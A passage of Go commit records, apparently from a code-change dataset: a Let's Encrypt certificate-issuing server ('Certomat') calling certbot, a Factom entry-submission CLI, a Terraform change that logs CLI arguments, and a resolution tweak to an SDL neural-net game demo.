		dirUrl = "https://acme-staging.api.letsencrypt.org/directory"
	}
	ac := &acme.Client{
		DirectoryURL: dirUrl,
	}
	mgr = &autocert.Manager{
		Client:     ac,
		Prompt:     autocert.AcceptTOS,
		HostPolicy: HostWhitelistByDomains(domainNames),
		Cache:      autocert.DirCache(*cacheDir),
	}

	// Set up the server:
	// - listen on the correct IP address and port 443
	// - use autocert
	// - answer to /get-cert-from-csr
	// - return a generic page for other requests (depending on requested host)
	s := &http.Server{
		Addr: fmt.Sprintf("%v:443", certomatFqdn),
		TLSConfig: &tls.Config{
			GetCertificate: mgr.GetCertificate,
		},
	}
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		log.Print(*r)

		if r.Host == certomatFqdn {
			w.Write(welcomeCertomat)
		} else {
			w.Write(welcomeOther)
		}
		return
	})
	http.Handle("/get-cert-from-csr",
		http.StripPrefix("/get-cert-from-csr",
			http.HandlerFunc(getHandler)))

	log.Print("Listening on ", s.Addr)
	err = s.ListenAndServeTLS("", "")
	if err != nil {
		log.Fatal(err)
	}
}

// Some text to put on the front page.
var welcomeCertomat = []byte("
Certomat

For more info see the wiki.
")

var welcomeOther = []byte("
Local DNS is not configured

Your Unifield server has sucessfully fetched a TLS certificate, but your local DNS is not redirecting you to the local IP address for the server. For more info see section 1.9 of the Unifield IT manual.
")
<commit_msg>Adjust for stdlib context package<commit_after>package main

import (
	"context"
	"crypto/tls"
	"crypto/x509"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"strings"
	"sync"

	"golang.org/x/crypto/acme"
	"golang.org/x/crypto/acme/autocert"
)

var version = flag.Bool("version", false, "Show the version and exit.")
var domain = flag.String("domain", "", "The domain we are responsible for.")
var prod = flag.Bool("prod", false, "If this is set, then talk to the real production LetsEncrypt API.")
var cacheDir = flag.String("cache", "cache", "The location of the autocert cache directory.")

type Instance struct {
	Id, Name string
}

func getDomain(host string) (string, error) {
	x := strings.Split(host, ".")
	if len(x) > 1 {
		return strings.Join(x[1:], "."), nil
	} else {
		return "", fmt.Errorf("host %v has no dots", host)
	}
}

func HostWhitelistByDomains(doms map[string]bool) autocert.HostPolicy {
	return func(_ context.Context, host string) error {
		// FQDNs can end in dot
		// Except, see https://github.com/letsencrypt/boulder/issues/2367
		if strings.HasSuffix(host, ".") {
			host = host[0 : len(host)-1]
		}
		host = strings.ToLower(host)

		dom, err := getDomain(host)
		if err != nil {
			return err
		}

		if doms[dom] {
			return nil
		}
		return fmt.Errorf("certomat: domain %v not allowed", dom)
	}
}

func getNameFromCSR(csr []byte) string {
	cr, err := x509.ParseCertificateRequest(csr)
	if err != nil {
		return ""
	}
	return cr.Subject.CommonName
}

func httpError(w http.ResponseWriter, why string, code int) {
	log.Printf("err %v because: %v", code, why)
	http.Error(w, why, code)
}

var certbotMu sync.Mutex

// Handles URLs like https://certomatFqdn/get-cert-from-csr
//
// Read the CSR from the Body, send it to LetsEncrypt,
// send the cert back to them.
func getHandler(w http.ResponseWriter, r *http.Request) {
	log.Print(*r)

	if r.Method != "POST" {
		httpError(w, "post only", http.StatusMethodNotAllowed)
	}

	csr, err := ioutil.ReadAll(r.Body)
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	name := getNameFromCSR(csr)
	log.Print("certificate requested for ", name)

	tmpfile, err := ioutil.TempFile("", "csr")
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	defer os.Remove(tmpfile.Name()) // clean up

	if _, err := tmpfile.Write(csr); err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}
	if err := tmpfile.Close(); err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	// turn csr into a cert by calling out to certbot
	args := []string{"certbot", "certonly", "--standalone",
		"--http-01-addr", name,
		"--csr", tmpfile.Name(), "--config-dir", "./config",
		"--work-dir", "./work", "--logs-dir", "./logs",
		"--non-interactive", "--preferred-challenges", "http",
		"--agree-tos", "--email", "jeff.allen@geneva.msf.org",
		"-d", name}
	if !*prod {
		args = append(args, "--test-cert")
	}

	path, err := exec.LookPath("certbot")
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}

	cmd := &exec.Cmd{
		Path:   path,
		Args:   args,
		Stdout: os.Stdout,
		Stderr: os.Stderr,
	}
	log.Print("certbot cmd: ", cmd)

	certbotMu.Lock()
	defer certbotMu.Unlock()

	err = cmd.Start()
	if err != nil {
		httpError(w, err.Error(), http.StatusInternalServerError)
		return
	}
	err = cmd.Wait()
	if err != nil {
		httpError(w,
			fmt.Sprintf("certbot result code: %v", err.Error()),
			http.StatusInternalServerError)
		return
	}

	cert, err := ioutil.ReadFile("0000_cert.pem")
	if err != nil {
		httpError(w,
			fmt.Sprintf("cannot read cert: %v", err.Error()),
			http.StatusInternalServerError)
		return
	}

	w.Header().Set("Content-Type", "text/plain")
	w.Write(cert)

	cmd = exec.Command("sh", "-c", "rm 00*")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Run()
}

var mgr *autocert.Manager
var certomatFqdn string

var gitRevision = "(dev)"

func main() {
	flag.Parse()
	if *version {
		fmt.Println(gitRevision)
		return
	}

	if *domain == "" {
		fmt.Println("Domain argument is required. Exiting.")
		return
	}
	var domainNames = map[string]bool{
		*domain: true,
	}
	certomatFqdn := fmt.Sprintf("certomat.%v", *domain)

	// Check that we can find certbot.
	_, err := exec.LookPath("certbot")
	if err != nil {
		log.Fatal("Cannot find certbot: ", err)
	}

	// Get certbot registered and ready to go.
	cmdstr := fmt.Sprintf("if [ -d ./config/accounts/acme-staging.api.letsencrypt.org ]; then true; else certbot register --agree-tos --email jeff.allen@geneva.msf.org --config-dir ./config --work-dir ./work --logs-dir ./logs --non-interactive --test-cert; fi")
	if *prod {
		cmdstr = "if [ -d ./config/accounts/acme-v01.api.letsencrypt.org ]; then true; else certbot register --agree-tos --email jeff.allen@geneva.msf.org --config-dir ./config --work-dir ./work --logs-dir ./logs --non-interactive; fi"
	}
	cmd := exec.Command("sh", "-c", cmdstr)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	err = cmd.Run()
	if err != nil {
		log.Fatal("could not initialize certbot: ", err)
	}

	// Default dirUrl to empty, to select the production API. Then
	// if the flag says we are not in prod mode, set the test mode URL.
	dirUrl := ""
	if !*prod {
		dirUrl = "https://acme-staging.api.letsencrypt.org/directory"
	}
	ac := &acme.Client{
		DirectoryURL: dirUrl,
	}
	mgr = &autocert.Manager{
		Client:     ac,
		Prompt:     autocert.AcceptTOS,
		HostPolicy: HostWhitelistByDomains(domainNames),
		Cache:      autocert.DirCache(*cacheDir),
	}

	// Set up the server:
	// - listen on the correct IP address and port 443
	// - use autocert
	// - answer to /get-cert-from-csr
	// - return a generic page for other requests (depending on requested host)
	s := &http.Server{
		Addr: fmt.Sprintf("%v:443", certomatFqdn),
		TLSConfig: &tls.Config{
			GetCertificate: mgr.GetCertificate,
		},
	}
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		log.Print(*r)

		if r.Host == certomatFqdn {
			w.Write(welcomeCertomat)
		} else {
			w.Write(welcomeOther)
		}
		return
	})
	http.Handle("/get-cert-from-csr",
		http.StripPrefix("/get-cert-from-csr",
			http.HandlerFunc(getHandler)))

	log.Print("Listening on ", s.Addr)
	err = s.ListenAndServeTLS("", "")
	if err != nil {
		log.Fatal(err)
	}
}

// Some text to put on the front page.
var welcomeCertomat = []byte("
Certomat

For more info see the wiki.
")

var welcomeOther = []byte("
Local DNS is not configured

Your Unifield server has sucessfully fetched a TLS certificate, but your local DNS is not redirecting you to the local IP address for the server. For more info see section 1.9 of the Unifield IT manual.
")
<|endoftext|>


<commit_before>package main

import (
	"encoding/base64"
	"encoding/json"
	"flag"
	"fmt"
	"net/http"
	"net/url"
	"os"
)

const usage = "factom -s [server] -c [chainid] -e [extid] -e [extid2] <data"

type entry struct {
	ChainID string
	ExtIDs  []string
	Data    string
}

type extids []string

func (e *extids) String() string {
	return fmt.Sprint(*e)
}

func (e *extids) Set(s string) error {
	*e = append(*e, s)
	return nil
}

func main() {
	var (
		help   = flag.Bool("h", false, usage)
		cid    = flag.String("c", "", "hex encoded chainid for the entry")
		server = flag.String("s", "localhost:8083", "path to the factomclient")
		eids   extids
	)

	flag.Var(&eids, "e", "external id for the entry")
	flag.Parse()

	if *help {
		fmt.Println(usage)
		return
	}

	d := make([]byte, 1024)
	n, _ := os.Stdin.Read(d)
	d = d[:n]

	e := new(entry)
	e.ChainID = *cid
	for _, v := range eids {
		e.ExtIDs = append(e.ExtIDs, string(v))
	}
	e.Data = base64.StdEncoding.EncodeToString(d)

	b, err := json.Marshal(e)
	if err != nil {
		return
	}

	data := url.Values{
		"datatype": {"entry"},
		"format":   {"json"},
		"entry":    {string(b)},
	}

	_, err = http.PostForm(*server, data)
	if err != nil {
		fmt.Println("Error: ", err)
	}

	return
}
<commit_msg>changed server flag to add http:// ... /v1/submitentry to the server string<commit_after>package main

import (
	"encoding/base64"
	"encoding/json"
	"flag"
	"fmt"
	"net/http"
	"net/url"
	"os"
)

const usage = "factom -s [server] -c [chainid] -e [extid] -e [extid2] <data"

type entry struct {
	ChainID string
	ExtIDs  []string
	Data    string
}

type extids []string

func (e *extids) String() string {
	return fmt.Sprint(*e)
}

func (e *extids) Set(s string) error {
	*e = append(*e, s)
	return nil
}

func main() {
	var (
		help = flag.Bool("h", false, usage)
		cid  = flag.String("c", "", "hex encoded chainid for the entry")
		serv = flag.String("s", "localhost:8083", "path to the factomclient")
		eids extids
	)

	flag.Var(&eids, "e", "external id for the entry")
	flag.Parse()

	if *help {
		fmt.Println(usage)
		return
	}

	server := "http://" + *serv + "/v1/submitentry"

	d := make([]byte, 1024)
	n, _ := os.Stdin.Read(d)
	d = d[:n]

	e := new(entry)
	e.ChainID = *cid
	for _, v := range eids {
		e.ExtIDs = append(e.ExtIDs, string(v))
	}
	e.Data = base64.StdEncoding.EncodeToString(d)

	b, err := json.Marshal(e)
	if err != nil {
		return
	}

	data := url.Values{
		"datatype": {"entry"},
		"format":   {"json"},
		"entry":    {string(b)},
	}

	_, err = http.PostForm(server, data)
	if err != nil {
		fmt.Println("Error: ", err)
	}

	return
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"os"
	"runtime"
	"sync"

	"github.com/hashicorp/go-plugin"
	"github.com/hashicorp/terraform/helper/logging"
	"github.com/mattn/go-colorable"
	"github.com/mitchellh/cli"
	"github.com/mitchellh/panicwrap"
	"github.com/mitchellh/prefixedio"
)

func main() {
	// Override global prefix set by go-dynect during init()
	log.SetPrefix("")
	os.Exit(realMain())
}

func realMain() int {
	var wrapConfig panicwrap.WrapConfig

	if !panicwrap.Wrapped(&wrapConfig) {
		// Determine where logs should go in general (requested by the user)
		logWriter, err := logging.LogOutput()
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't setup log output: %s", err)
			return 1
		}

		// We always send logs to a temporary file that we use in case
		// there is a panic. Otherwise, we delete it.
		logTempFile, err := ioutil.TempFile("", "terraform-log")
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't setup logging tempfile: %s", err)
			return 1
		}
		defer os.Remove(logTempFile.Name())
		defer logTempFile.Close()

		// Setup the prefixed readers that send data properly to
		// stdout/stderr.
		doneCh := make(chan struct{})
		outR, outW := io.Pipe()
		go copyOutput(outR, doneCh)

		// Create the configuration for panicwrap and wrap our executable
		wrapConfig.Handler = panicHandler(logTempFile)
		wrapConfig.Writer = io.MultiWriter(logTempFile, logWriter)
		wrapConfig.Stdout = outW
		exitStatus, err := panicwrap.Wrap(&wrapConfig)
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't start Terraform: %s", err)
			return 1
		}

		// If >= 0, we're the parent, so just exit
		if exitStatus >= 0 {
			// Close the stdout writer so that our copy process can finish
			outW.Close()

			// Wait for the output copying to finish
			<-doneCh

			return exitStatus
		}

		// We're the child, so just close the tempfile we made in order to
		// save file handles since the tempfile is only used by the parent.
		logTempFile.Close()
	}

	// Call the real main
	return wrappedMain()
}

func wrappedMain() int {
	log.SetOutput(os.Stderr)
	log.Printf(
		"[INFO] Terraform version: %s %s %s",
		Version, VersionPrerelease, GitCommit)

	// Load the configuration
	config := BuiltinConfig
	if err := config.Discover(Ui); err != nil {
		Ui.Error(fmt.Sprintf("Error discovering plugins: %s", err))
		return 1
	}

	// Run checkpoint
	go runCheckpoint(&config)

	// Make sure we clean up any managed plugins at the end of this
	defer plugin.CleanupClients()

	// Get the command line args. We shortcut "--version" and "-v" to
	// just show the version.
	args := os.Args[1:]
	for _, arg := range args {
		if arg == "-v" || arg == "-version" || arg == "--version" {
			newArgs := make([]string, len(args)+1)
			newArgs[0] = "version"
			copy(newArgs[1:], args)
			args = newArgs
			break
		}
	}

	cli := &cli.CLI{
		Args:       args,
		Commands:   Commands,
		HelpFunc:   helpFunc,
		HelpWriter: os.Stdout,
	}

	// Load the configuration file if we have one, that can be used to
	// define extra providers and provisioners.
	clicfgFile, err := cliConfigFile()
	if err != nil {
		Ui.Error(fmt.Sprintf("Error loading CLI configuration: \n\n%s", err))
		return 1
	}

	if clicfgFile != "" {
		usrcfg, err := LoadConfig(clicfgFile)
		if err != nil {
			Ui.Error(fmt.Sprintf("Error loading CLI configuration: \n\n%s", err))
			return 1
		}

		config = *config.Merge(usrcfg)
	}

	// Initialize the TFConfig settings for the commands...
	ContextOpts.Providers = config.ProviderFactories()
	ContextOpts.Provisioners = config.ProvisionerFactories()

	exitCode, err := cli.Run()
	if err != nil {
		Ui.Error(fmt.Sprintf("Error executing CLI: %s", err.Error()))
		return 1
	}

	return exitCode
}

func cliConfigFile() (string, error) {
	mustExist := true
	configFilePath := os.Getenv("TERRAFORM_CONFIG")
	if configFilePath == "" {
		var err error
		configFilePath, err = ConfigFile()
		mustExist = false

		if err != nil {
			log.Printf(
				"[ERROR] Error detecting default CLI config file path: %s",
				err)
		}
	}

	log.Printf("[DEBUG] Attempting to open CLI config file: %s", configFilePath)
	f, err := os.Open(configFilePath)
	if err == nil {
		f.Close()
		return configFilePath, nil
	}

	if mustExist || !os.IsNotExist(err) {
		return "", err
	}

	log.Println("[DEBUG] File doesn't exist, but doesn't need to. Ignoring.")
	return "", nil
}

// copyOutput uses output prefixes to determine whether data on stdout
// should go to stdout or stderr. This is due to panicwrap using stderr
// as the log and error channel.
func copyOutput(r io.Reader, doneCh chan<- struct{}) {
	defer close(doneCh)

	pr, err := prefixedio.NewReader(r)
	if err != nil {
		panic(err)
	}

	stderrR, err := pr.Prefix(ErrorPrefix)
	if err != nil {
		panic(err)
	}
	stdoutR, err := pr.Prefix(OutputPrefix)
	if err != nil {
		panic(err)
	}
	defaultR, err := pr.Prefix("")
	if err != nil {
		panic(err)
	}

	var stdout io.Writer = os.Stdout
	var stderr io.Writer = os.Stderr

	if runtime.GOOS == "windows" {
		stdout = colorable.NewColorableStdout()
		stderr = colorable.NewColorableStderr()
	}

	var wg sync.WaitGroup
	wg.Add(3)
	go func() {
		defer wg.Done()
		io.Copy(stderr, stderrR)
	}()
	go func() {
		defer wg.Done()
		io.Copy(stdout, stdoutR)
	}()
	go func() {
		defer wg.Done()
		io.Copy(stdout, defaultR)
	}()

	wg.Wait()
}
<commit_msg>Logs contain CLI args<commit_after>package main

import (
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"os"
	"runtime"
	"sync"

	"github.com/hashicorp/go-plugin"
	"github.com/hashicorp/terraform/helper/logging"
	"github.com/mattn/go-colorable"
	"github.com/mitchellh/cli"
	"github.com/mitchellh/panicwrap"
	"github.com/mitchellh/prefixedio"
)

func main() {
	// Override global prefix set by go-dynect during init()
	log.SetPrefix("")
	os.Exit(realMain())
}

func realMain() int {
	var wrapConfig panicwrap.WrapConfig

	if !panicwrap.Wrapped(&wrapConfig) {
		// Determine where logs should go in general (requested by the user)
		logWriter, err := logging.LogOutput()
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't setup log output: %s", err)
			return 1
		}

		// We always send logs to a temporary file that we use in case
		// there is a panic. Otherwise, we delete it.
		logTempFile, err := ioutil.TempFile("", "terraform-log")
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't setup logging tempfile: %s", err)
			return 1
		}
		defer os.Remove(logTempFile.Name())
		defer logTempFile.Close()

		// Setup the prefixed readers that send data properly to
		// stdout/stderr.
		doneCh := make(chan struct{})
		outR, outW := io.Pipe()
		go copyOutput(outR, doneCh)

		// Create the configuration for panicwrap and wrap our executable
		wrapConfig.Handler = panicHandler(logTempFile)
		wrapConfig.Writer = io.MultiWriter(logTempFile, logWriter)
		wrapConfig.Stdout = outW
		exitStatus, err := panicwrap.Wrap(&wrapConfig)
		if err != nil {
			fmt.Fprintf(os.Stderr, "Couldn't start Terraform: %s", err)
			return 1
		}

		// If >= 0, we're the parent, so just exit
		if exitStatus >= 0 {
			// Close the stdout writer so that our copy process can finish
			outW.Close()

			// Wait for the output copying to finish
			<-doneCh

			return exitStatus
		}

		// We're the child, so just close the tempfile we made in order to
		// save file handles since the tempfile is only used by the parent.
		logTempFile.Close()
	}

	// Call the real main
	return wrappedMain()
}

func wrappedMain() int {
	log.SetOutput(os.Stderr)
	log.Printf(
		"[INFO] Terraform version: %s %s %s",
		Version, VersionPrerelease, GitCommit)
	log.Printf("[INFO] CLI args: %#v", os.Args)

	// Load the configuration
	config := BuiltinConfig
	if err := config.Discover(Ui); err != nil {
		Ui.Error(fmt.Sprintf("Error discovering plugins: %s", err))
		return 1
	}

	// Run checkpoint
	go runCheckpoint(&config)

	// Make sure we clean up any managed plugins at the end of this
	defer plugin.CleanupClients()

	// Get the command line args. We shortcut "--version" and "-v" to
	// just show the version.
	args := os.Args[1:]
	for _, arg := range args {
		if arg == "-v" || arg == "-version" || arg == "--version" {
			newArgs := make([]string, len(args)+1)
			newArgs[0] = "version"
			copy(newArgs[1:], args)
			args = newArgs
			break
		}
	}

	cli := &cli.CLI{
		Args:       args,
		Commands:   Commands,
		HelpFunc:   helpFunc,
		HelpWriter: os.Stdout,
	}

	// Load the configuration file if we have one, that can be used to
	// define extra providers and provisioners.
	clicfgFile, err := cliConfigFile()
	if err != nil {
		Ui.Error(fmt.Sprintf("Error loading CLI configuration: \n\n%s", err))
		return 1
	}

	if clicfgFile != "" {
		usrcfg, err := LoadConfig(clicfgFile)
		if err != nil {
			Ui.Error(fmt.Sprintf("Error loading CLI configuration: \n\n%s", err))
			return 1
		}

		config = *config.Merge(usrcfg)
	}

	// Initialize the TFConfig settings for the commands...
	ContextOpts.Providers = config.ProviderFactories()
	ContextOpts.Provisioners = config.ProvisionerFactories()

	exitCode, err := cli.Run()
	if err != nil {
		Ui.Error(fmt.Sprintf("Error executing CLI: %s", err.Error()))
		return 1
	}

	return exitCode
}

func cliConfigFile() (string, error) {
	mustExist := true
	configFilePath := os.Getenv("TERRAFORM_CONFIG")
	if configFilePath == "" {
		var err error
		configFilePath, err = ConfigFile()
		mustExist = false

		if err != nil {
			log.Printf(
				"[ERROR] Error detecting default CLI config file path: %s",
				err)
		}
	}

	log.Printf("[DEBUG] Attempting to open CLI config file: %s", configFilePath)
	f, err := os.Open(configFilePath)
	if err == nil {
		f.Close()
		return configFilePath, nil
	}

	if mustExist || !os.IsNotExist(err) {
		return "", err
	}

	log.Println("[DEBUG] File doesn't exist, but doesn't need to. Ignoring.")
	return "", nil
}

// copyOutput uses output prefixes to determine whether data on stdout
// should go to stdout or stderr. This is due to panicwrap using stderr
// as the log and error channel.
func copyOutput(r io.Reader, doneCh chan<- struct{}) {
	defer close(doneCh)

	pr, err := prefixedio.NewReader(r)
	if err != nil {
		panic(err)
	}

	stderrR, err := pr.Prefix(ErrorPrefix)
	if err != nil {
		panic(err)
	}
	stdoutR, err := pr.Prefix(OutputPrefix)
	if err != nil {
		panic(err)
	}
	defaultR, err := pr.Prefix("")
	if err != nil {
		panic(err)
	}

	var stdout io.Writer = os.Stdout
	var stderr io.Writer = os.Stderr

	if runtime.GOOS == "windows" {
		stdout = colorable.NewColorableStdout()
		stderr = colorable.NewColorableStderr()
	}

	var wg sync.WaitGroup
	wg.Add(3)
	go func() {
		defer wg.Done()
		io.Copy(stderr, stderrR)
	}()
	go func() {
		defer wg.Done()
		io.Copy(stdout, stdoutR)
	}()
	go func() {
		defer wg.Done()
		io.Copy(stdout, defaultR)
	}()

	wg.Wait()
}
<|endoftext|>


<commit_before>package main

import (
	"fmt"
	flappy "github.com/poseidon4o/go-neural/src/problems/flappy"
	mario "github.com/poseidon4o/go-neural/src/problems/mario"
	util "github.com/poseidon4o/go-neural/src/util"
	sdl "github.com/veandco/go-sdl2/sdl"
	"math"
	"runtime"
	"time"
)

type DrawableProblem interface {
	SetDrawRectCb(cb func(pos, size *util.Vector, color uint32))
	LogicTick(dt float64)
	DrawTick()
	Complete() float64
	Done() bool
	Jump()
	Move(int)
}

func main() {
	runtime.GOMAXPROCS(runtime.NumCPU())
	fmt.Println("Controls:")
	fmt.Println("end:\tfurthest action in the level")
	fmt.Println("home:\tmove back to level begining")
	fmt.Println("left:\tmove screen to the left")
	fmt.Println("right:\tmove screen to the right")
	fmt.Println("1:\tswitch to flappy")
	fmt.Println("2:\tswitch to mario")
	fmt.Println("enter:\tcycle trough mario/flappy")
	fmt.Println("esc:\teixt")
	fmt.Println("")

	doDraw := true
	doDev := false

	W := 1500
	H := 800
	LVL_W := W * 50

	var FPS float64 = 60.0
	FRAME_TIME_MS := 1000 / FPS

	sdl.Init(sdl.INIT_EVERYTHING)

	window, err := sdl.CreateWindow("test", sdl.WINDOWPOS_UNDEFINED, sdl.WINDOWPOS_UNDEFINED,
		int(W), int(H), sdl.WINDOW_SHOWN)
	if err != nil {
		panic(err)
	}
	defer window.Destroy()

	surface, err := window.GetSurface()
	if err != nil {
		panic(err)
	}

	clearRect := sdl.Rect{0, 0, int32(W), int32(H)}
	surface.FillRect(&clearRect, 0xffffffff)

	figCount := 10000
	if doDev {
		figCount = 1
	}

	offset := 0
	visible := func(pos, size *util.Vector) bool {

		// r1 := sdl.Rect{int32(pos.X), int32(pos.Y), int32(pos.X + size.X), int32(pos.Y + size.Y)}
		// r2 := sdl.Rect{int32(offset), 0, int32(offset + W), int32(H)}
		// return !(r2.X > r1.W || r2.W < r1.X || r2.Y > r1.H || r2.H < r1.Y)

		// so beautiful
		return !(float64(offset) > pos.X+size.X ||
			float64(offset+W) < pos.X ||
			0 > pos.Y+size.Y ||
			float64(H) < pos.Y)
	}

	toScreen := func(pos, size *util.Vector) *sdl.Rect {
		return &sdl.Rect{
			X: int32(pos.X - float64(offset)),
			Y: int32(pos.Y),
			W: int32(size.X),
			H: int32(size.Y),
		}
	}

	drawCb := func(pos, size *util.Vector, color uint32) {
		if visible(pos, size) {
			surface.FillRect(toScreen(pos, size), color)
		}
	}

	fl := flappy.NewFlappy(figCount, util.NewVector(float64(LVL_W), float64(H)))
	mr := mario.NewMario(figCount, util.NewVector(float64(LVL_W), float64(H)))

	fl.SetDrawRectCb(drawCb)
	mr.SetDrawRectCb(drawCb)

	var game DrawableProblem = fl

	step := 65

	frame := 0
	var averageFrameTime float64 = FRAME_TIME_MS * 1000000 // in nanosec
	start := time.Now()
	for {
		start = time.Now()

		if doDraw {
			window.UpdateSurface()
			surface.FillRect(&clearRect, 0xffffffff)
			game.DrawTick()
		} else if frame%10 == 0 {
			// update only 10% of the frames
			window.UpdateSurface()
		}

		game.LogicTick(1 / FPS)

		stop := false
		for event := sdl.PollEvent(); event != nil; event = sdl.PollEvent() {
			switch t := event.(type) {
			case *sdl.QuitEvent:
				stop = true
			case *sdl.KeyDownEvent:
				switch t.Keysym.Sym {
				case sdl.K_LEFT:
					if doDev {
						game.Move(-1)
					} else {
						offset = int(math.Max(0, float64(offset-step)))
					}
				case sdl.K_RIGHT:
					if doDev {
						game.Move(1)
					} else {
						offset = int(math.Min(float64(LVL_W-W), float64(offset+step)))
					}
				case sdl.K_SPACE:
					if doDev {
						game.Jump()
					} else {
						doDraw = !doDraw
						surface.FillRect(&clearRect, 0xffaaaaaa)
						window.UpdateSurface()
					}
				case sdl.K_1:
					game = fl
				case sdl.K_2:
					game = mr
				case sdl.K_RETURN:
					if game == fl {
						game = mr
					} else {
						game = fl
					}
				case sdl.K_ESCAPE:
					stop = true
				case sdl.K_END:
					offset = int(math.Max(math.Min(float64(LVL_W-W), game.Complete()*float64(LVL_W)-float64(W)/2), 0))
				case sdl.K_HOME:
					offset = 0
				}
			}
		}

		if stop {
			break
		}

		frame++

		elapsed := time.Since(start)
		frameMs := float64(elapsed) / 1000000

		averageFrameTime = averageFrameTime*0.9 + float64(elapsed.Nanoseconds())*0.1

		if game.Done() {
			fmt.Println("Done")
			break
		}

		if frame > int(FPS) {
			frame = 0
			fmt.Printf("ftime last: %f\tftime average %f\tcompletion %f%%\n", frameMs, averageFrameTime/1000000, game.Complete()*100)
		}

		// sleep only if drawing and there is time to sleep more than 3ms
		if doDraw && frameMs < FRAME_TIME_MS && FRAME_TIME_MS-frameMs > 3.0 {
			time.Sleep(time.Millisecond * time.Duration(FRAME_TIME_MS-frameMs))
		}
	}

	sdl.Quit()
}
<commit_msg>Change to lower resolution<commit_after>package main

import (
	"fmt"
	flappy "github.com/poseidon4o/go-neural/src/problems/flappy"
	mario "github.com/poseidon4o/go-neural/src/problems/mario"
	util "github.com/poseidon4o/go-neural/src/util"
	sdl "github.com/veandco/go-sdl2/sdl"
	"math"
	"runtime"
	"time"
)

type DrawableProblem interface {
	SetDrawRectCb(cb func(pos, size *util.Vector, color uint32))
	LogicTick(dt float64)
	DrawTick()
	Complete() float64
	Done() bool
	Jump()
	Move(int)
}

func main() {
	runtime.GOMAXPROCS(runtime.NumCPU())
	fmt.Println("Controls:")
	fmt.Println("end:\tfurthest action in the level")
	fmt.Println("home:\tmove back to level begining")
	fmt.Println("left:\tmove screen to the left")
	fmt.Println("right:\tmove screen to the right")
	fmt.Println("1:\tswitch to flappy")
	fmt.Println("2:\tswitch to mario")
	fmt.Println("enter:\tcycle trough mario/flappy")
	fmt.Println("esc:\teixt")
	fmt.Println("")

	doDraw := true
	doDev := false

	W := 1300
	H := 700
	LVL_W := W * 50

	var FPS float64 = 60.0
	FRAME_TIME_MS := 1000 / FPS

	sdl.Init(sdl.INIT_EVERYTHING)

	window, err := sdl.CreateWindow("test", sdl.WINDOWPOS_UNDEFINED, sdl.WINDOWPOS_UNDEFINED,
		int(W), int(H), sdl.WINDOW_SHOWN)
	if err != nil {
		panic(err)
	}
	defer window.Destroy()

	surface, err := window.GetSurface()
	if err != nil {
		panic(err)
	}

	clearRect := sdl.Rect{0, 0, int32(W), int32(H)}
	surface.FillRect(&clearRect, 0xffffffff)

	figCount := 10000
	if doDev {
		figCount = 1
	}

	offset := 0
	visible := func(pos, size *util.Vector) bool {

		// r1 := sdl.Rect{int32(pos.X), int32(pos.Y), int32(pos.X + size.X), int32(pos.Y + size.Y)}
		// r2 := sdl.Rect{int32(offset), 0, int32(offset + W), int32(H)}
		// return !(r2.X > r1.W || r2.W < r1.X || r2.Y > r1.H || r2.H < r1.Y)

		// so beautiful
		return !(float64(offset) > pos.X+size.X ||
			float64(offset+W) < pos.X ||
			0 > pos.Y+size.Y ||
			float64(H) < pos.Y)
	}

	toScreen := func(pos, size *util.Vector) *sdl.Rect {
		return &sdl.Rect{
			X: int32(pos.X - float64(offset)),
			Y: int32(pos.Y),
			W: int32(size.X),
			H: int32(size.Y),
		}
	}

	drawCb := func(pos, size *util.Vector, color uint32) {
		if visible(pos, size) {
			surface.FillRect(toScreen(pos, size), color)
		}
	}

	fl := flappy.NewFlappy(figCount, util.NewVector(float64(LVL_W), float64(H)))
	mr := mario.NewMario(figCount, util.NewVector(float64(LVL_W), float64(H)))

	fl.SetDrawRectCb(drawCb)
	mr.SetDrawRectCb(drawCb)

	var game DrawableProblem = fl

	step := 65

	frame := 0
	var averageFrameTime float64 = FRAME_TIME_MS * 1000000 // in nanosec
	start := time.Now()
	for {
		start = time.Now()

		if doDraw {
			window.UpdateSurface()
			surface.FillRect(&clearRect, 0xffffffff)
			game.DrawTick()
		} else if frame%10 == 0 {
			// update only 10% of the frames
			window.UpdateSurface()
		}

		game.LogicTick(1 / FPS)

		stop := false
		for event := sdl.PollEvent(); event != nil; event = sdl.PollEvent() {
			switch t := event.(type) {
			case *sdl.QuitEvent:
				stop = true
			case *sdl.KeyDownEvent:
				switch t.Keysym.Sym {
				case sdl.K_LEFT:
					if doDev {
						game.Move(-1)
					} else {
						offset = int(math.Max(0, float64(offset-step)))
					}
				case sdl.K_RIGHT:
					if doDev {
						game.Move(1)
					} else {
						offset = int(math.Min(float64(LVL_W-W), float64(offset+step)))
					}
				case sdl.K_SPACE:
					if doDev {
						game.Jump()
					} else {
						doDraw = !doDraw
						surface.FillRect(&clearRect, 0xffaaaaaa)
						window.UpdateSurface()
					}
				case sdl.K_1:
					game = fl
				case sdl.K_2:
					game = mr
				case sdl.K_RETURN:
					if game == fl {
						game = mr
					} else {
						game = fl
					}
				case sdl.K_ESCAPE:
					stop = true
				case sdl.K_END:
					offset = int(math.Max(math.Min(float64(LVL_W-W), game.Complete()*float64(LVL_W)-float64(W)/2), 0))
				case sdl.K_HOME:
					offset = 0
				}
			}
		}

		if stop {
			break
		}

		frame++

		elapsed := time.Since(start)
		frameMs := float64(elapsed) / 1000000

		averageFrameTime = averageFrameTime*0.9 + float64(elapsed.Nanoseconds())*0.1

		if game.Done() {
			fmt.Println("Done")
			break
		}

		if frame > int(FPS) {
			frame = 0
